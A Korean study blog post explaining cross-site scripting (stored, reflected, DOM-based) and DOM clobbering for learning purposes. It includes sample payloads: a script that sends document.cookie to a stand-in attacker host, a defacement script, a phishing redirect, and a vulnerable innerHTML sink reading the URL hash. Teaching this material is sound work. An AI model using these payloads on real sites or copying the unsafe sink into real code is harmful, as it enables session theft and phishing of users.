Study/WebHacking

[์ทจ์•ฝ์ ] Client Side: Cross Site Scripting (XSS)

mnzy๐ŸŒฑ 2024. 3. 15. 02:50

https://learn.dreamhack.io/173์™€ https://www.fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=3408 ๋“ฑ ๋‹ค์–‘ํ•œ ์ •๋ณด๋ฅผ ๋ณด๊ณ  ์ •๋ฆฌํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค.

ํ‹€๋ฆฐ ๋‚ด์šฉ์ด ์žˆ๋‹ค๋ฉด ๋Œ“๊ธ€๋กœ ์•Œ๋ ค์ฃผ์‹œ๋ฉด ๊ฐ์‚ฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

 

XSS

ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ์ทจ์•ฝ์ ์€ ์›น ํŽ˜์ด์ง€์˜ ์ด์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

ํ•ด๋‹น ์ข…๋ฅ˜์˜ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์ด์šฉ์ž๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•œ ์„ธ์…˜ ๋ฐ ์ฟ ํ‚ค ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๊ณ  ํ•ด๋‹น ๊ณ„์ •์œผ๋กœ ์ž„์˜์˜ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

XSS๋Š” ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ์ทจ์•ฝ์  ์ค‘ ํ•˜๋‚˜๋กœ, ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•จ์œผ๋กœ์จ, ์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ์•…์˜์ ์œผ๋กœ ํƒˆ์ทจํ•˜๋„๋ก ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋‹ค. 

  • ์ข…๋ฅ˜
    • ์ €์žฅ๋œ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ… (Stored Cross-Site Scripting)
    • ๋ฐ˜์‚ฌ๋œ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ… (Reflected Cross-Site Scripting)
    • DOM ๊ธฐ๋ฐ˜์˜ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ… (DOM Based Cross-Site Scripting)
Stored XSS XSS์— ์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ๋˜๊ณ  ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ค๋Š” XSS
Reflected XSS XSS์— ์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ URL์— ์‚ฝ์ž…๋˜๊ณ  ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ค๋Š” XSS
DOM-based XSS XSS์— ์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ URL Fragment์— ์‚ฝ์ž…๋˜๋Š” XSS (Fragment๋Š” ์„œ๋ฒ„ ์š”์ฒญ/์‘๋‹ต ์— ํฌํ•จ๋˜์ง€ ์•Š๋Š”๋‹ค.)

 

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋Š” ์›น ๋ฌธ์„œ์˜ ๋™์ž‘์„ ์ •์˜ํ•œ๋‹ค. ์ด๋Š” ์ด์šฉ์ž๊ฐ€ ๋ฒ„ํŠผ ํด๋ฆญ ์‹œ์— ์–ด๋–ค ์ด๋ฒคํŠธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ์ง€์™€ ๋ฐ์ดํ„ฐ ์ž…๋ ฅ ์‹œ ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋Š” ์ด๋ฒคํŠธ๋ฅผ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ธฐ๋Šฅ ์™ธ์—๋„ ์ด์šฉ์ž์™€์˜ ์ƒํ˜ธ ์ž‘์šฉ ์—†์ด ์ด์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๊ฑฐ๋‚˜ ๋ณ€๊ฒฝํ•˜๋Š” ๋“ฑ์˜ ํ–‰์œ„๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

 

์ด๋Ÿฌํ•œ ํ–‰์œ„๊ฐ€ ๊ฐ€๋Šฅํ•œ ์ด์œ ๋Š” ์ด์šฉ์ž๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•œ ์„ธ์…˜ ๋ฐ ์ฟ ํ‚ค๊ฐ€ ์›น ๋ธŒ๋ผ์šฐ์ €์— ์ €์žฅ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•ด ์ด์šฉ์ž์—๊ฒŒ ๋ณด์—ฌ์ง€๋Š” ์›น ํŽ˜์ด์ง€๋ฅผ ์กฐ์ž‘ํ•˜๊ฑฐ๋‚˜, ์›น ๋ธŒ๋ผ์šฐ์ €์˜ ์œ„์น˜๋ฅผ ์ž„์˜์˜ ์ฃผ์†Œ๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค.

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ํƒœ๊ทธ๋กœ๋Š” <script>๊ฐ€ ์žˆ๋‹ค. 

 

์ฟ ํ‚ค ๋ฐ ์„ธ์…˜ ํƒˆ์ทจ ๊ณต๊ฒฉ ์ฝ”๋“œ

<script>
// "hello" ๋ฌธ์ž์—ด alert ์‹คํ–‰.
alert("hello");
// ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค(return type: string)
document.cookie; 
// ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค๋ฅผ ์ธ์ž๋กœ ๊ฐ€์ง„ alert ์‹คํ–‰.
alert(document.cookie);
// ์ฟ ํ‚ค ์ƒ์„ฑ(key: name, value: test)
document.cookie = "name=test;";
// new Image() ๋Š” ์ด๋ฏธ์ง€๋ฅผ ์ƒ์„ฑํ•˜๋Š” ํ•จ์ˆ˜์ด๋ฉฐ, src๋Š” ์ด๋ฏธ์ง€์˜ ์ฃผ์†Œ๋ฅผ ์ง€์ •. ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋Š” http://hacker.dreamhack.io
// "http://hacker.mnzy.io/?cookie=ํ˜„์žฌํŽ˜์ด์ง€์˜์ฟ ํ‚ค" ์ฃผ์†Œ๋ฅผ ์š”์ฒญํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋กœ ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค ์š”์ฒญํ•จ
new Image().src = "http://hacker.mnzy.io/?cookie=" + document.cookie;
</script>

 

ํŽ˜์ด์ง€ ๋ณ€์กฐ ๊ณต๊ฒฉ ์ฝ”๋“œ

<script>
// ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€ ์ •๋ณด์— ์ ‘๊ทผ.
document;
// ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž….
document.write("Hacked by mnzy !");
</script>

 

์œ„์น˜ ์ด๋™ ๊ณต๊ฒฉ ์ฝ”๋“œ

<script>
// ์ด์šฉ์ž์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝ.
// ํ”ผ์‹ฑ ๊ณต๊ฒฉ ๋“ฑ์œผ๋กœ ์‚ฌ์šฉ๋จ.
location.href = "http://hacker.mnzy.io/phishing"; 
// ์ƒˆ ์ฐฝ ์—ด๊ธฐ
window.open("http://hacker.mnzy.io/")
</script>

 

1. Stored XSS

https://www.fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=3408

 

Stored XSS๋Š” ์„œ๋ฒ„์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋˜๋Š” ํŒŒ์ผ ๋“ฑ์˜ ํ˜•ํƒœ๋กœ ์ €์žฅ๋œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์กฐํšŒํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” XSS์ด๋‹ค.

๋Œ€ํ‘œ์ ์œผ๋กœ ๊ฒŒ์‹œ๋ฌผ๊ณผ ๋Œ“๊ธ€์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•ด ์—…๋กœ๋“œํ•˜๋Š” ๋ฐฉ์‹์ด ์žˆ๋‹ค.

๊ฒŒ์‹œ๋ฌผ์€ ๋ถˆํŠน์ • ๋‹ค์ˆ˜์—๊ฒŒ ๋ณด์—ฌ์ง€๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๊ธฐ๋Šฅ์—์„œ XSS ์ทจ์•ฝ์ ์ด ์กด์žฌํ•  ๊ฒฝ์šฐ ๋†’์€ ํŒŒ๊ธ‰๋ ฅ์„ ๊ฐ€์ง„๋‹ค.

 

์˜ˆ์‹œ๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ์กด์žฌํ•  ์ˆ˜ ์žˆ๋‹ค. 

  1. Bob์€ ์กฐ์ž‘๋œ URL (์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š”)์„ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„œ๋ฒ„์— ์˜ฌ๋ฆฐ๋‹ค. 
  2. Alice๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„œ๋ฒ„์— ๋กœ๊ทธ์ธ์„ ํ•œ๋‹ค.
  3. Alice๋Š” Bob์ด ์˜ฌ๋ฆฐ ์กฐ์ž‘๋œ URL์„ ์•ก์„ธ์Šค ํ•œ๋‹ค. (์กฐ์ž‘๋œ URL ์ ‘์† ๋ฐ ์š”์ฒญ)
  4. ์„œ๋ฒ„๋Š” Bob์˜ ์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” ์‘๋‹ต์„ Alice์—๊ฒŒ ๋ณด๋‚ธ๋‹ค. 
  5. ์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๊ฐ€ Alice์˜ ๋ธŒ๋ผ์šฐ์ €์ƒ์—์„œ ์‹คํ–‰๋œ๋‹ค. 
  6. Alice์™€ ์„œ๋ฒ„ ์‚ฌ์ด์—์„œ ์‚ฌ์šฉ๋œ ์„ธ์…˜ ํ† ํฐ ์ •๋ณด๊ฐ€ Alice์˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด์„œ Bob์—๊ฒŒ ์ „๋‹ฌ๋œ๋‹ค.
  7. Bob์€ Alice์˜ ์„ธ์…˜์„ ํƒˆ์ทจํ•œ๋‹ค.

 

 

2. Reflected XSS

https://www.fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=3408

 

Reflected XSS๋Š” ์„œ๋ฒ„๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋‹ด๊ธด ์š”์ฒญ์„ ์ถœ๋ ฅํ•  ๋•Œ ๋ฐœ์ƒํ•œ๋‹ค.

๋Œ€ํ‘œ์ ์œผ๋กœ ๊ฒŒ์‹œํŒ ์„œ๋น„์Šค์—์„œ ์ž‘์„ฑ๋œ ๊ฒŒ์‹œ๋ฌผ์„ ์กฐํšŒํ•˜๊ธฐ ์œ„ํ•œ ๊ฒ€์ƒ‰์ฐฝ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•ด ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐฉ์‹์ด ์žˆ๋‹ค.

์ด์šฉ์ž๊ฐ€ ๊ฒŒ์‹œ๋ฌผ์„ ๊ฒ€์ƒ‰ํ•˜๋ฉด ์„œ๋ฒ„์—์„œ๋Š” ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ๋ฅผ ์ด์šฉ์ž์—๊ฒŒ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

์ผ๋ถ€ ์„œ๋น„์Šค์—์„œ๋Š” ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ๋ฅผ ์‘๋‹ต์— ํฌํ•จํ•˜๋Š”๋ฐ, ๊ฒ€์ƒ‰ ๋ฌธ์ž์—ด์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด Reflected XSS๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

 

Reflected XSS๋Š” Stored XSS์™€๋Š” ๋‹ค๋ฅด๊ฒŒ URL๊ณผ ๊ฐ™์€ ์ด์šฉ์ž์˜ ์š”์ฒญ์— ์˜ํ•ด ๋ฐœ์ƒํ•œ๋‹ค.

๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์„ ์œ„ํ•ด์„œ๋Š” ๋‹ค๋ฅธ ์ด์šฉ์ž๋ฅผ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ๋งํฌ์— ์ ‘์†ํ•˜๋„๋ก ์œ ๋„ํ•ด์•ผ ํ•œ๋‹ค. ์ด์šฉ์ž์—๊ฒŒ ๋งํฌ๋ฅผ ์ง์ ‘ ์ „๋‹ฌํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ํฌํ•จ ์—ฌ๋ถ€๋ฅผ ์ด์šฉ์ž๊ฐ€ ๋ˆˆ์น˜์ฑŒ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ๋กœ Click Jacking ๋˜๋Š” Open Redirect ๋“ฑ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„ํ•˜์—ฌ ์‚ฌ์šฉํ•œ๋‹ค.

 

์˜ˆ์‹œ๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ์กด์žฌํ•  ์ˆ˜ ์žˆ๋‹ค. 

  1. Alice๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„œ๋ฒ„์— ๋กœ๊ทธ์ธํ•œ๋‹ค. ๋‹ค์Œ์˜ ์„ธ์…˜ ํ† ํฐ์„ ํฌํ•จํ•˜๋Š” ์ฟ ํ‚ค๋ฅผ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ๋ถ€์—ฌ ๋ฐ›๋Š”๋‹ค.
    • Set-Cookie: sessID:=0jgpobmwil93jfn2930r8e
  2. Bob์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์กฐ์ž‘๋œ URL (์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š”)์„ Alice์— ๋ณด๋‚ธ๋‹ค.
  3. Alice๋Š” Bob์˜ ์กฐ์ž‘๋œ URL์„ ์„œ๋ฒ„์— ์š”์ฒญํ•œ๋‹ค.
  4. ์„œ๋ฒ„๋Š” Alice์˜ ์š”์ฒญ์— ์‘๋‹ตํ•œ๋‹ค. ์„œ๋ฒ„์˜ ์‘๋‹ต์—๋Š” Bob์˜ ์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ๋‹ค.
  5. Bob์˜ ์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๊ฐ€ Alice์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰๋œ๋‹ค.
  6. Alice์˜ ๋ธŒ๋ผ์šฐ์ €๋Š” Bob์ด ์šด์˜ํ•˜๋Š” test-attacker.com์— ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค. ์ด ์š”์ฒญ์—๋Š” Alice์™€ ์„œ๋ฒ„์‚ฌ์ด์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์„ธ์…˜ ํ† ํฐ์ด ํฌํ•จ๋œ๋‹ค.
  7. Bob์€ Alice์˜ ์„ธ์…˜์„ ํƒˆ์ทจํ•œ๋‹ค.

 

3. Dom based XSS

Dom

Document Object Model (DOM)์€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ HTML ๋ฌธ์„œ๋ฅผ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” ๊ฐ์ฒด ๋ชจ๋ธ์ด๋‹ค.

์›น ๊ฐœ๋ฐœ์ž๋Š” DOM์— ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ DOM์„ ๋ณ€๊ฒฝํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์›น ํŽ˜์ด์ง€๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

DOM์€ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ฐ์ข… API๋ฅผ ์ œ๊ณตํ•ด ๊ฐœ๋ฐœ์ž์—๊ฒ ๊ต‰์žฅํžˆ ํŽธ๋ฆฌํ•˜์ง€๋งŒ, ์ด๋ฅผ ์ž˜๋ชป ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜๋„ํ•œ ๋™์ž‘๊ณผ ๋‹ค๋ฅด๊ฒŒ ๋™์ž‘์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ DOM์— ์กด์žฌํ•˜๋Š” Element์˜ ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•˜๊ณ , ์ƒˆ๋กœ์šด Element๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์ฝ”๋“œ

document.getElementById ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ๋ฏธ๋ฆฌ ์ •์˜๋˜์–ด ์žˆ๋˜ name ์ด๋ผ๋Š” id์˜ Element๋ฅผ ๊ฐ€์ ธ์™€ innerText๋ฅผ ๋ณ€๊ฒฝํ•ด ์‹ค์ œ ์›น ๋ฌธ์„œ์˜ ๋‚ด์šฉ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๋˜ํ•œ, document.createElement ํ•จ์ˆ˜๋กœ ์ƒˆ๋กœ์šด Element๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•˜๋ฉฐ, 

document.createTextNode ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ํ…์ŠคํŠธ ๋…ธ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , Element์— ์ถ”๊ฐ€ํ•˜์—ฌ ์›น ๋ฌธ์„œ์— ์ƒˆ๋กœ์šด ๋‚ด์šฉ์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋‹ค.

var elem = document.getElementById("name");
elem.innerText = "My name is mnzy";

var div_elem = document.createElement("div");

var text_node = document.createTextNode("Welcome to mnzy's tistory");
div_elem.appendChild(text_node);

 

Dom Clobbering

https://www.hahwul.com/cullinan/dom-clobbering/

 

DOM Clobbering์€ Javascript์—์„œ์˜ DOM ์ฒ˜๋ฆฌ ๋ฐฉ์‹์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ด๋‹ค. Clobbering์€ ์˜๋ฏธ ๊ทธ๋Œ€๋กœ ์†Œํ”„ํŠธ์›จ์–ด ๊ณตํ•™์—์„œ ์˜๋„์ ,๋น„์˜๋„์ ์œผ๋กœ ํŠน์ • ๋ฉ”๋ชจ๋ฆฌ๋‚˜ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์™„์ „ํžˆ ๋ฎ์–ด์“ฐ๋Š” ํ˜„์ƒ์„ ์˜๋ฏธํ•œ๋‹ค.

๋‹ค์‹œ ๋งํ•˜๋ฉด DOM์„ ๋ฎ์–ด์“ด๋‹ค๋Š” ์˜๋ฏธ๊ฐ€ ๋˜๋Š”๋ฐ, ์ฆ‰ DOM Clobbering์€ id, name ๋“ฑ HTML์—์„œ ์ด์šฉ๋˜๋Š” ์‹๋ณ„์ž ์†์„ฑ์„ ์ด์šฉํ•ด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ DOM ๊ฐ์ฒด๋“ค์˜ ์†์„ฑ ๋ฐ ๋ฉ”์†Œ๋“œ ๋“ฑ์„ ๋ณ€์กฐํ•˜๋Š” ๊ธฐ๋ฒ•์ด๋‹ค.

๊ธฐ์กด ๋ธŒ๋ผ์šฐ์ €๋Š” ์Šคํฌ๋ฆฝํŠธ ์ž‘์„ฑ์ž์˜ ํŽธ์˜๋ฅผ ์œ„ํ•ด DOM ๋…ธ๋“œ (element ๋“ฑ)์—์„œ ์ž์‹ ๋…ธ๋“œ์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ด์™”๋‹ค. ์›น ํ”„๋กœ๊ทธ๋ž˜๋ฐ์„ ๊ณต๋ถ€ํ•˜๋‹ค ๋ณด๋ฉด document.getElementById() ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ ๋„ ๋…ธ๋“œ id๋ฅผ ๋ณ€์ˆ˜์ฒ˜๋Ÿผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Œ์„ ์•Œ๊ฒŒ๋˜๋Š”๋ฐ, Window ์ „์—ญ ๊ฐ์ฒด๋Š” ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ Proxy์™€ ์œ ์‚ฌํ•œ ํ˜•ํƒœ๋กœ ๊ตฌํ˜„๋˜์–ด ์žˆ์–ด ์ •์˜๋˜์ง€ ์•Š์€ ์†์„ฑ์€ DOM์—์„œ ์ฐพ๊ฒŒ ๋œ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด DOM ๋‚ด์— <a id="link1" href="https://host">host</a> element๊ฐ€ ์ •์˜๋˜์–ด ์žˆ์„ ๋•Œ, ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ ๋ณ„๋„ ๋ณ€์ˆ˜ ์ •์˜ ์—†์ด link1์— ์ ‘๊ทผํ•˜๋ฉด ํ•ด๋‹น ์š”์†Œ๋ฅผ DOM์—์„œ ์ฐพ๋Š”๋‹ค.

 

์ด๋Š” ์›น ๊ฐœ๋ฐœ์ž ์ž…์žฅ์—์„œ๋Š” ํŽธ๋ฆฌํ•œ ๊ธฐ๋Šฅ์ผ ์ˆ˜ ์žˆ์œผ๋‚˜, ๋งŒ์•ฝ HTML ๋งˆํฌ์—…์ด ์‚ฌ์šฉ์ž๋‚˜ ์ œ์‚ผ์ž๋กœ๋ถ€ํ„ฐ ์ œ๊ณต๋œ๋‹ค๋ฉด ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ธ€๋กœ๋ฒŒ ๋ณ€์ˆ˜ ์ด๋ฆ„๊ณต๊ฐ„์ด๋‚˜ ์š”์†Œ ๊ฐ์ฒด ์†์„ฑ์€ ๋ฏธ๋ฆฌ ์ •์˜๋œ ์†์„ฑ / ํ•จ์ˆ˜ (e.g. element.innerHTMLwindow.open ๋“ฑ)์™€ ์ถฉ๋Œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ”„๋กœ๊ทธ๋ž˜๋จธ๊ฐ€ ์˜ˆ์ƒํ–ˆ๋˜ ๊ฒƒ๊ณผ ๋‹ค๋ฅธ ๊ฐ’์ด ๋ฐ˜ํ™˜๋˜๊ฒŒ ๋œ๋‹ค.

 

์˜ˆ๋ฅผ ๋“ค์–ด, ์•„๋ž˜์™€ ๊ฐ™์ด location.href์— window.mylocation์˜ ๊ฐ’์„ ๋„ฃ๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ์„ ๋•Œ ์ผ๋ฐ˜์ ์œผ๋กœ mylocation ๊ฐ’์„ ์ง์ ‘ ์ œ์–ดํ•˜์ง€ ๋ชปํ•œ๋‹ค๋ฉด location.href๋ฅผ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์—†๋‹ค.

 

document.location.href = window.mylocation

 

๋‹ค๋งŒ HTML ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ํ™˜๊ฒฝ์ด๋ผ๋ฉด (์Šคํฌ๋ฆฝํŠธ ๊ณ„ํ†ต์€ ์ฐจ๋‹จ์ด๋ผ๊ณ  ํ•˜๋”๋ผ๋„) ์•„๋ž˜์™€ ๊ฐ™์ด window.mylocation ๊ฐ’์„ HTML ํƒœ๊ทธ์™€ ์†์„ฑ์„ ์ด์šฉํ•˜์—ฌ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

<input id="mylocation" value="javascript:alert(45)"></a>

 

Dom based XSS

XSS ์ทจ์•ฝ์ ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์„œ๋ฒ„์—์„œ ์ด์šฉ์ž์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ œ๋Œ€๋กœ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ฑฐ๋‚˜, ํ•„ํ„ฐ๋งํ•˜์ง€ ์•Š์€ ์ฑ„ HTML ๋ฌธ์„œ์— ํฌํ•จ์‹œ์ผœ ๋ฐœ์ƒํ•œ๋‹ค.

 

๋ฐ˜๋ฉด์— DOM-based XSS๋Š” ํด๋ผ์ด์–ธํŠธ, ์ฆ‰ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋‹จ์—์„œ ์ด์šฉ์ž์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์™€ ์‚ฌ์šฉํ•˜๋‹ค๊ฐ€ XSS ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค. ์ฆ‰, ์„œ๋ฒ„ ๋‹จ์—์„œ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ XSS๋ฅผ ํ•„ํ„ฐ๋งํ•˜์—ฌ๋„ DOM-based XSS๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

 

DOM-based XSS๋Š” ๋Œ€ํ‘œ์ ์œผ๋กœ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ URL์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋‚˜ ํ•ด์‹œ๋ฅผ ๊ฐ€์ ธ์™€ innerHTML, outerHTML, insertAdjacentHTML๊ณผ ๊ฐ™์ด HTML์— ๋งˆํฌ์—…์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ด์ฃผ๋Š” ๊ธฐ๋Šฅ์—์„œ ๋ฐœ์ƒํ•œ๋‹ค.

var name_el = document.getElementById("name"); //id ์†์„ฑ์ด name์ธ HTML ์š”์†Œ๋ฅผ ์ฐพ๊ธฐ
name_el.innerHTML = `My name is ${decodeURIComponent(location.hash.slice(1))}.`;
//URL ํ•ด์‹œ๊ฐ’ ๋””์ฝ”๋”ฉ -> ๋ฌธ์ž์—ด์— ์‚ฝ์ž…

 

